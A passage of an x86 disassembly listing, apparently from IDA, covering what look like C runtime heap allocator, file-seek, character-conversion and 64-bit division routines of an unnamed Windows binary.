dec byte ptr [ecx]
jnz short loc_4173D4
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_4173D4: ; CODE XREF: sub_417314+7Bj
; sub_417314+98j ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41749D
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
cmp edi, 3Fh
lea ecx, [ecx+esi-4]
jbe short loc_41740E
push 3Fh
pop edi
loc_41740E: ; CODE XREF: sub_417314+F5j
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41748B
mov cl, [edi+eax+4]
mov byte ptr [ebp+arg_8+3], cl
inc cl
cmp edi, 20h
mov [edi+eax+4], cl
jnb short loc_417462
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41745A
mov ecx, edi
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41745A: ; CODE XREF: sub_417314+136j
lea eax, [eax+edx*4+44h]
mov ecx, edi
jmp short loc_417482
; ---------------------------------------------------------------------------
loc_417462: ; CODE XREF: sub_417314+130j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_417478
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_417478: ; CODE XREF: sub_417314+152j
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
loc_417482: ; CODE XREF: sub_417314+14Cj
mov edx, 80000000h
shr edx, cl
or [eax], edx
loc_41748B: ; CODE XREF: sub_417314+11Ej
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_4174A0
; ---------------------------------------------------------------------------
loc_41749D: ; CODE XREF: sub_417314+DEj
mov edx, [ebp+arg_4]
loc_4174A0: ; CODE XREF: sub_417314+187j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_4175EB
; ---------------------------------------------------------------------------
loc_4174AF: ; CODE XREF: sub_417314+50j
; sub_417314+5Aj
xor eax, eax
jmp loc_4175EE
; ---------------------------------------------------------------------------
loc_4174B6: ; CODE XREF: sub_417314+47j
jge loc_4175EB
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
sar esi, 4
dec esi
cmp esi, 3Fh
mov [ebp+arg_4], ebx
mov [ebx-4], ecx
jbe short loc_4174E1
push 3Fh
pop esi
loc_4174E1: ; CODE XREF: sub_417314+1C8j
test byte ptr [ebp+var_4], 1
jnz loc_41756B
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_4174FA
push 3Fh
pop esi
loc_4174FA: ; CODE XREF: sub_417314+1E1j
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_417544
cmp esi, 20h
mov ebx, 80000000h
jnb short loc_417525
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_417541
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_417541
; ---------------------------------------------------------------------------
loc_417525: ; CODE XREF: sub_417314+1F6j
lea ecx, [esi-20h]
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_417541
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_417541: ; CODE XREF: sub_417314+208j
; sub_417314+20Fj ...
mov ebx, [ebp+arg_4]
loc_417544: ; CODE XREF: sub_417314+1ECj
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov esi, [edi+8]
mov ecx, [edi+4]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41756B
push 3Fh
pop esi
loc_41756B: ; CODE XREF: sub_417314+1D1j
; sub_417314+252j
mov ecx, [ebp+var_C]
lea ecx, [ecx+esi*8]
mov edi, [ecx+4]
mov [ebx+8], ecx
mov [ebx+4], edi
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_4175E2
mov cl, [esi+eax+4]
mov byte ptr [ebp+arg_4+3], cl
inc cl
cmp esi, 20h
mov [esi+eax+4], cl
jnb short loc_4175B9
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_4175B1
mov ecx, esi
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_4175B1: ; CODE XREF: sub_417314+28Dj
lea eax, [eax+edx*4+44h]
mov ecx, esi
jmp short loc_4175D9
; ---------------------------------------------------------------------------
loc_4175B9: ; CODE XREF: sub_417314+287j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_4175CF
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_4175CF: ; CODE XREF: sub_417314+2A9j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
loc_4175D9: ; CODE XREF: sub_417314+2A3j
mov edx, 80000000h
shr edx, cl
or [eax], edx
loc_4175E2: ; CODE XREF: sub_417314+275j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_4175EB: ; CODE XREF: sub_417314+196j
; sub_417314:loc_4174B6j
xor eax, eax
inc eax
loc_4175EE: ; CODE XREF: sub_417314+19Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417314 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4175F3 proc near ; CODE XREF: sub_41101A+28p
; sub_417D65+88p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_424EAC
mov ecx, [ebp+arg_0]
imul eax, 14h
add eax, dword_424EB0
add ecx, 17h
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
push ebx
dec ecx
cmp ecx, 20h
push esi
push edi
jge short loc_41762A
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_417637
; ---------------------------------------------------------------------------
loc_41762A: ; CODE XREF: sub_4175F3+2Aj
add ecx, 0FFFFFFE0h
or edx, 0FFFFFFFFh
xor esi, esi
shr edx, cl
mov [ebp+var_8], edx
loc_417637: ; CODE XREF: sub_4175F3+35j
mov ecx, dword_424EB8
mov ebx, ecx
jmp short loc_417652
; ---------------------------------------------------------------------------
loc_417641: ; CODE XREF: sub_4175F3+64j
mov edx, [ebx+4]
mov edi, [ebx]
and edx, [ebp+var_8]
and edi, esi
or edx, edi
jnz short loc_417659
add ebx, 14h
loc_417652: ; CODE XREF: sub_4175F3+4Cj
cmp ebx, eax
mov [ebp+arg_0], ebx
jb short loc_417641
loc_417659: ; CODE XREF: sub_4175F3+5Aj
cmp ebx, eax
jnz short loc_4176DC
mov ebx, dword_424EB0
jmp short loc_417676
; ---------------------------------------------------------------------------
loc_417665: ; CODE XREF: sub_4175F3+88j
mov edx, [ebx+4]
mov edi, [ebx]
and edx, [ebp+var_8]
and edi, esi
or edx, edi
jnz short loc_41767D
add ebx, 14h
loc_417676: ; CODE XREF: sub_4175F3+70j
cmp ebx, ecx
mov [ebp+arg_0], ebx
jb short loc_417665
loc_41767D: ; CODE XREF: sub_4175F3+7Ej
cmp ebx, ecx
jnz short loc_4176DC
jmp short loc_41768F
; ---------------------------------------------------------------------------
loc_417683: ; CODE XREF: sub_4175F3+9Ej
cmp dword ptr [ebx+8], 0
jnz short loc_417693
add ebx, 14h
mov [ebp+arg_0], ebx
loc_41768F: ; CODE XREF: sub_4175F3+8Ej
cmp ebx, eax
jb short loc_417683
loc_417693: ; CODE XREF: sub_4175F3+94j
cmp ebx, eax
jnz short loc_4176C8
mov ebx, dword_424EB0
jmp short loc_4176A8
; ---------------------------------------------------------------------------
loc_41769F: ; CODE XREF: sub_4175F3+BAj
cmp dword ptr [ebx+8], 0
jnz short loc_4176AF
add ebx, 14h
loc_4176A8: ; CODE XREF: sub_4175F3+AAj
cmp ebx, ecx
mov [ebp+arg_0], ebx
jb short loc_41769F
loc_4176AF: ; CODE XREF: sub_4175F3+B0j
cmp ebx, ecx
jnz short loc_4176C8
call sub_41715E
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jnz short loc_4176C8
loc_4176C1: ; CODE XREF: sub_4175F3+E7j
xor eax, eax
jmp loc_4178D1
; ---------------------------------------------------------------------------
loc_4176C8: ; CODE XREF: sub_4175F3+A2j
; sub_4175F3+BEj ...
push ebx
call sub_41720E
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_4176C1
loc_4176DC: ; CODE XREF: sub_4175F3+68j
; sub_4175F3+8Cj
mov dword_424EB8, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_417703
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41772C
loc_417703: ; CODE XREF: sub_4175F3+FAj
and [ebp+var_4], 0
mov edx, [eax+0C4h]
lea ecx, [eax+44h]
loc_417710: ; CODE XREF: sub_4175F3+134j
mov edi, [ecx]
and edx, [ebp+var_8]
and edi, esi
or edx, edi
jnz short loc_417729
inc [ebp+var_4]
mov edx, [ecx+84h]
add ecx, 4
jmp short loc_417710
; ---------------------------------------------------------------------------
loc_417729: ; CODE XREF: sub_4175F3+126j
mov edx, [ebp+var_4]
loc_41772C: ; CODE XREF: sub_4175F3+10Ej
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
xor edi, edi
and ecx, esi
jnz short loc_41775A
mov ecx, [eax+edx*4+0C4h]
and ecx, [ebp+var_8]
push 20h
pop edi
jmp short loc_41775A
; ---------------------------------------------------------------------------
loc_417757: ; CODE XREF: sub_4175F3+169j
add ecx, ecx
inc edi
loc_41775A: ; CODE XREF: sub_4175F3+153j
; sub_4175F3+162j
test ecx, ecx
jge short loc_417757
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
sar esi, 4
dec esi
cmp esi, 3Fh
mov [ebp+var_8], ecx
jle short loc_41777B
push 3Fh
pop esi
loc_41777B: ; CODE XREF: sub_4175F3+183j
cmp esi, edi
jz loc_417884
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_4177E7
cmp edi, 20h
mov ebx, 80000000h
jge short loc_4177BB
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_4177E4
mov ecx, [ebp+var_14]
mov ebx, [ebp+arg_0]
and [ebx], ecx
jmp short loc_4177E7
; ---------------------------------------------------------------------------
loc_4177BB: ; CODE XREF: sub_4175F3+1A0j
lea ecx, [edi-20h]
shr ebx, cl
mov ecx, [ebp+var_4]
lea ecx, [eax+ecx*4+0C4h]
lea edi, [eax+edi+4]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_4177E4
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_4177E7
; ---------------------------------------------------------------------------
loc_4177E4: ; CODE XREF: sub_4175F3+1BCj
; sub_4175F3+1E4j
mov ebx, [ebp+arg_0]
loc_4177E7: ; CODE XREF: sub_4175F3+196j
; sub_4175F3+1C6j ...
cmp [ebp+var_8], 0
mov ecx, [edx+8]
mov edi, [edx+4]
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_417890
mov ecx, [ebp+var_C]
lea ecx, [ecx+esi*8]
mov edi, [ecx+4]
mov [edx+8], ecx
mov [edx+4], edi
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_417881
mov cl, [esi+eax+4]
mov byte ptr [ebp+arg_0+3], cl
inc cl
cmp esi, 20h
mov [esi+eax+4], cl
jge short loc_417858
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_417846
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_417846: ; CODE XREF: sub_4175F3+246j
mov ecx, esi
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_417881
; ---------------------------------------------------------------------------
loc_417858: ; CODE XREF: sub_4175F3+240j
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_41786B
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41786B: ; CODE XREF: sub_4175F3+269j
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_417881: ; CODE XREF: sub_4175F3+22Ej
; sub_4175F3+263j
mov ecx, [ebp+var_8]
loc_417884: ; CODE XREF: sub_4175F3+18Aj
test ecx, ecx
jz short loc_417893
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_417893
; ---------------------------------------------------------------------------
loc_417890: ; CODE XREF: sub_4175F3+20Aj
mov ecx, [ebp+var_8]
loc_417893: ; CODE XREF: sub_4175F3+293j
; sub_4175F3+29Bj
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_4178C9
cmp ebx, dword_424D08
jnz short loc_4178C9
mov ecx, [ebp+var_4]
cmp ecx, dword_424EC0
jnz short loc_4178C9
and dword_424D08, 0
loc_4178C9: ; CODE XREF: sub_4175F3+2BAj
; sub_4175F3+2C2j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_4178D1: ; CODE XREF: sub_4175F3+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_4175F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178D6 proc near ; CODE XREF: sub_41440F+DEp
; sub_417959+CDp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
push edi
push esi
mov [ebp+var_4], eax
call sub_419E05
or edi, 0FFFFFFFFh
cmp eax, edi
pop ecx
jnz short loc_41790B
call sub_40F79E
mov dword ptr [eax], 9
loc_417905: ; CODE XREF: sub_4178D6+5Ej
mov eax, edi
mov edx, edi
jmp short loc_417955
; ---------------------------------------------------------------------------
loc_41790B: ; CODE XREF: sub_4178D6+22j
push [ebp+arg_C]
lea ecx, [ebp+var_4]
push ecx
push [ebp+var_8]
push eax
call dword_41C048 ; SetFilePointer
cmp eax, edi
mov [ebp+var_8], eax
jnz short loc_417936
call dword_41C0A4 ; RtlGetLastWin32Error
test eax, eax
jz short loc_417936
push eax
call sub_40F7C4
pop ecx
jmp short loc_417905
; ---------------------------------------------------------------------------
loc_417936: ; CODE XREF: sub_4178D6+4Bj
; sub_4178D6+55j
mov eax, esi
and esi, 1Fh
imul esi, 28h
sar eax, 5
mov eax, dword_424EE0[eax*4]
lea eax, [eax+esi+4]
and byte ptr [eax], 0FDh
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
loc_417955: ; CODE XREF: sub_4178D6+33j
pop edi
pop esi
leave
retn
sub_4178D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417959 proc near ; CODE XREF: sub_4111BA+116p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push 14h
push offset dword_41FCF8
call __SEH_prolog4
or esi, 0FFFFFFFFh
mov [ebp+var_24], esi
mov [ebp+var_20], esi
mov eax, [ebp+arg_0]
cmp eax, 0FFFFFFFEh
jnz short loc_417992
call sub_40F7B1
and dword ptr [eax], 0
call sub_40F79E
mov dword ptr [eax], 9
loc_417989: ; CODE XREF: sub_417959+66j
mov eax, esi
mov edx, esi
jmp loc_417A62
; ---------------------------------------------------------------------------
loc_417992: ; CODE XREF: sub_417959+1Bj
xor edi, edi
cmp eax, edi
jl short loc_4179A0
cmp eax, dword_424EC8
jb short loc_4179C1
loc_4179A0: ; CODE XREF: sub_417959+3Dj
call sub_40F7B1
mov [eax], edi
call sub_40F79E
mov dword ptr [eax], 9
push edi
push edi
push edi
push edi
push edi
call sub_40DCD8
add esp, 14h
jmp short loc_417989
; ---------------------------------------------------------------------------
loc_4179C1: ; CODE XREF: sub_417959+45j
mov ecx, eax
sar ecx, 5
lea ebx, ds:424EE0h[ecx*4]
mov esi, eax
and esi, 1Fh
imul esi, 28h
mov ecx, [ebx]
movzx ecx, byte ptr [ecx+esi+4]
and ecx, 1
jnz short loc_417A07
call sub_40F7B1
mov [eax], edi
call sub_40F79E
mov dword ptr [eax], 9
push edi
push edi
push edi
push edi
push edi
call sub_40DCD8
add esp, 14h
or edx, 0FFFFFFFFh
mov eax, edx
jmp short loc_417A62
; ---------------------------------------------------------------------------
loc_417A07: ; CODE XREF: sub_417959+86j
push eax
call sub_419E76
pop ecx
mov [ebp+ms_exc.disabled], edi
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_417A36
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4178D6
add esp, 10h
mov [ebp+var_24], eax
mov [ebp+var_20], edx
jmp short loc_417A50
; ---------------------------------------------------------------------------
loc_417A36: ; CODE XREF: sub_417959+BFj
call sub_40F79E
mov dword ptr [eax], 9
call sub_40F7B1
mov [eax], edi
or [ebp+var_24], 0FFFFFFFFh
or [ebp+var_20], 0FFFFFFFFh
loc_417A50: ; CODE XREF: sub_417959+DBj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_417A68
mov eax, [ebp+var_24]
mov edx, [ebp+var_20]
loc_417A62: ; CODE XREF: sub_417959+34j
; sub_417959+ACj
call __SEH_epilog4
retn
sub_417959 endp
; =============== S U B R O U T I N E =======================================
sub_417A68 proc near ; CODE XREF: sub_417959+FEp
; DATA XREF: .vty:0041FD10o
push dword ptr [ebp+8]
call sub_419F16
pop ecx
retn
sub_417A68 endp
; =============== S U B R O U T I N E =======================================
sub_417A72 proc near ; CODE XREF: sub_4111BA+9Cp
arg_0 = dword ptr 4
inc dword_42444C
push 1000h
call sub_412323
test eax, eax
pop ecx
mov ecx, [esp+arg_0]
mov [ecx+8], eax
jz short loc_417A9B
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_417AAC
; ---------------------------------------------------------------------------
loc_417A9B: ; CODE XREF: sub_417A72+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_417AAC: ; CODE XREF: sub_417A72+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_417A72 endp
; =============== S U B R O U T I N E =======================================
sub_417AB6 proc near ; CODE XREF: sub_4111BA+91p
; sub_41440F+E7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 0FFFFFFFEh
jnz short loc_417ACD
call sub_40F79E
mov dword ptr [eax], 9
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_417ACD: ; CODE XREF: sub_417AB6+7j
push esi
xor esi, esi
cmp eax, esi
jl short loc_417ADC
cmp eax, dword_424EC8
jb short loc_417AF8
loc_417ADC: ; CODE XREF: sub_417AB6+1Cj
call sub_40F79E
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 9
call sub_40DCD8
add esp, 14h
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_417AF8: ; CODE XREF: sub_417AB6+24j
mov ecx, eax
and eax, 1Fh
imul eax, 28h
sar ecx, 5
mov ecx, dword_424EE0[ecx*4]
movzx eax, byte ptr [ecx+eax+4]
and eax, 40h
pop esi
retn
sub_417AB6 endp
; =============== S U B R O U T I N E =======================================
sub_417B14 proc near ; CODE XREF: sub_4125B5:loc_4125D8p
push esi
push edi
xor edi, edi
loc_417B18: ; CODE XREF: sub_417B14+1Aj
lea esi, dword_423DE0[edi]
push dword ptr [esi]
call sub_411D53
add edi, 4
cmp edi, 28h
pop ecx
mov [esi], eax
jb short loc_417B18
pop edi
pop esi
retn
sub_417B14 endp
; =============== S U B R O U T I N E =======================================
sub_417B33 proc near ; CODE XREF: sub_4113BB+554p
mov eax, dword_4231C4
or eax, 1
xor ecx, ecx
cmp dword_424D10, eax
setz cl
mov eax, ecx
retn
sub_417B33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B49 proc near ; CODE XREF: sub_417CA8+12p
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
push edi
mov edi, [ebp+arg_8]
jnz short loc_417B6F
cmp edi, ebx
jbe short loc_417B6F
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417B6B
mov [eax], ebx
loc_417B6B: ; CODE XREF: sub_417B49+1Ej
; sub_417B49+ECj ...
xor eax, eax
jmp short loc_417BEE
; ---------------------------------------------------------------------------
loc_417B6F: ; CODE XREF: sub_417B49+13j
; sub_417B49+17j
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417B79
or dword ptr [eax], 0FFFFFFFFh
loc_417B79: ; CODE XREF: sub_417B49+2Bj
cmp edi, 7FFFFFFFh
jbe short loc_417B9C
call sub_40F79E
push 16h
pop esi
push ebx
push ebx
push ebx
push ebx
push ebx
mov [eax], esi
call sub_40DCD8
add esp, 14h
loc_417B98: ; CODE XREF: sub_417B49+CCj
; sub_417B49+D5j
mov eax, esi
jmp short loc_417BEE
; ---------------------------------------------------------------------------
loc_417B9C: ; CODE XREF: sub_417B49+36j
push [ebp+arg_10]
lea ecx, [ebp+var_10]
call sub_40F7E2
mov eax, [ebp+var_10]
cmp [eax+14h], ebx
jnz loc_417C47
mov ax, [ebp+arg_C]
cmp ax, 0FFh
jbe short loc_417BF3
cmp esi, ebx
jz short loc_417BD0
cmp edi, ebx
jbe short loc_417BD0
push edi
push ebx
push esi
call sub_40DD10
add esp, 0Ch
loc_417BD0: ; CODE XREF: sub_417B49+76j
; sub_417B49+7Aj ...
call sub_40F79E
mov dword ptr [eax], 2Ah
call sub_40F79E
cmp [ebp+var_4], bl
mov eax, [eax]
jz short loc_417BEE
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
loc_417BEE: ; CODE XREF: sub_417B49+24j
; sub_417B49+51j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_417BF3: ; CODE XREF: sub_417B49+72j
cmp esi, ebx
jz short loc_417C25
cmp edi, ebx
ja short loc_417C23
loc_417BFB: ; CODE XREF: sub_417B49+141j
; sub_417B49+149j ...
call sub_40F79E
push 22h
pop esi
push ebx
push ebx
push ebx
push ebx
push ebx
mov [eax], esi
call sub_40DCD8
add esp, 14h
cmp [ebp+var_4], bl
jz short loc_417B98
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
jmp loc_417B98
; ---------------------------------------------------------------------------
loc_417C23: ; CODE XREF: sub_417B49+B0j
mov [esi], al
loc_417C25: ; CODE XREF: sub_417B49+ACj
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417C32
mov dword ptr [eax], 1
loc_417C32: ; CODE XREF: sub_417B49+E1j
; sub_417B49+12Aj ...
cmp [ebp+var_4], bl
jz loc_417B6B
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
jmp loc_417B6B
; ---------------------------------------------------------------------------
loc_417C47: ; CODE XREF: sub_417B49+64j
lea ecx, [ebp+arg_4]
push ecx
push ebx
push edi
push esi
push 1
lea ecx, [ebp+arg_C]
push ecx
push ebx
mov [ebp+arg_4], ebx
push dword ptr [eax+4]
call dword_41C170 ; WideCharToMultiByte
cmp eax, ebx
jz short loc_417C79
cmp [ebp+arg_4], ebx
jnz loc_417BD0
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_417C32
mov [ecx], eax
jmp short loc_417C32
; ---------------------------------------------------------------------------
loc_417C79: ; CODE XREF: sub_417B49+11Aj
call dword_41C0A4 ; RtlGetLastWin32Error
cmp eax, 7Ah
jnz loc_417BD0
cmp esi, ebx
jz loc_417BFB
cmp edi, ebx
jbe loc_417BFB
push edi
push ebx
push esi
call sub_40DD10
add esp, 0Ch
jmp loc_417BFB
sub_417B49 endp
; =============== S U B R O U T I N E =======================================
sub_417CA8 proc near ; CODE XREF: sub_4113BB+487p
; sub_4113BB+8B1p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push 0
push [esp+4+arg_C]
push [esp+8+arg_8]
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_417B49
add esp, 14h
retn
sub_417CA8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417CD0 proc near ; CODE XREF: sub_4113BB+786p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_417D01
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
div ecx
mov esi, eax
mov eax, ebx
mul [esp+4+arg_8]
mov ecx, eax
mov eax, esi
mul [esp+4+arg_8]
add edx, ecx
jmp short loc_417D48
; ---------------------------------------------------------------------------
loc_417D01: ; CODE XREF: sub_417CD0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_417D0F: ; CODE XREF: sub_417CD0+49j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_417D0F
div ebx
mov esi, eax
mul [esp+4+arg_C]
mov ecx, eax
mov eax, [esp+4+arg_8]
mul esi
add edx, ecx
jb short loc_417D3D
cmp edx, [esp+4+arg_4]
ja short loc_417D3D
jb short loc_417D46
cmp eax, [esp+4+arg_0]
jbe short loc_417D46
loc_417D3D: ; CODE XREF: sub_417CD0+5Dj
; sub_417CD0+63j
dec esi
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_417D46: ; CODE XREF: sub_417CD0+65j
; sub_417CD0+6Bj
xor ebx, ebx
loc_417D48: ; CODE XREF: sub_417CD0+2Fj
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
mov ecx, edx
mov edx, ebx
mov ebx, ecx
mov ecx, eax
mov eax, esi
pop esi
retn 10h
sub_417CD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417D65 proc near ; CODE XREF: sub_412363+Ep
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 00417E6A SIZE 00000019 BYTES
push 0Ch
push offset dword_41FD18
call __SEH_prolog4
mov ecx, [ebp+arg_0]
xor edi, edi
cmp ecx, edi
jbe short loc_417DA8
push 0FFFFFFE0h
pop eax
xor edx, edx
div ecx
cmp eax, [ebp+arg_4]
sbb eax, eax
inc eax
jnz short loc_417DA8
call sub_40F79E
mov dword ptr [eax], 0Ch
push edi
push edi
push edi
push edi
push edi
call sub_40DCD8
add esp, 14h
loc_417DA1: ; CODE XREF: sub_417D65+E6j
; sub_417D65+F2j
xor eax, eax
jmp loc_417E7D
; ---------------------------------------------------------------------------
